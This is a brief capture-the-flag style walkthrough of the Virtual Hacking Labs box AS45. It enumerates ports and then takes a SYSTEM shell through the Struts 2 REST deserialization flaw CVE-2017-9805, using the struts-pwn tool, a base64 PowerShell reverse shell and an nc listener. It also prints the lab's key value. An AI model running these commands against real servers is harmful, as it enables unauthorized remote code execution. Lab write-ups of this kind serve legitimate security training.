AS45 — VHL (10.11.1.109)

445/tcp open smb

#virtual hacking labs#vhl#walkthrough#boxes#os:windows#os:linux#tech:rce#tech:cve

AS45 — VHL (10.11.1.109)

Port Enumeration (10.11.1.109)

🐺 howlsec@kalishell

$445/tcp  open  smb
$8009/tcp open  ajp13  Apache Jserv 1.3
$8080/tcp open  http   Apache Tomcat 8.0.47 - /struts2-rest-showcase

Foothold: Struts 2 REST RCE (CVE-2017-9805) -> SYSTEM

The struts2-rest-showcase app is vulnerable to the Struts REST XStream deserialization RCE (mazen160/struts-pwn); Tomcat runs as SYSTEM so no privesc is needed:

🐺 howlsec@kalishell

$git clone https://github.com/mazen160/struts-pwn.git
$python struts-pwn.py --url 'http://10.11.1.109:8080/struts2-rest-showcase/orders.xhtml' -c 'dir'
$# deliver a base64 PowerShell reverse shell (revshells.com)
$python struts-pwn.py --url 'http://10.11.1.109:8080/struts2-rest-showcase/orders.xhtml' -c 'powershell -e <base64>'
$rlwrap nc -nvlp 7777
$# whoami -> nt authority\system ; C:\Users\Administrator\Desktop\key.txt = 6f7rlecj04by2lvx28ao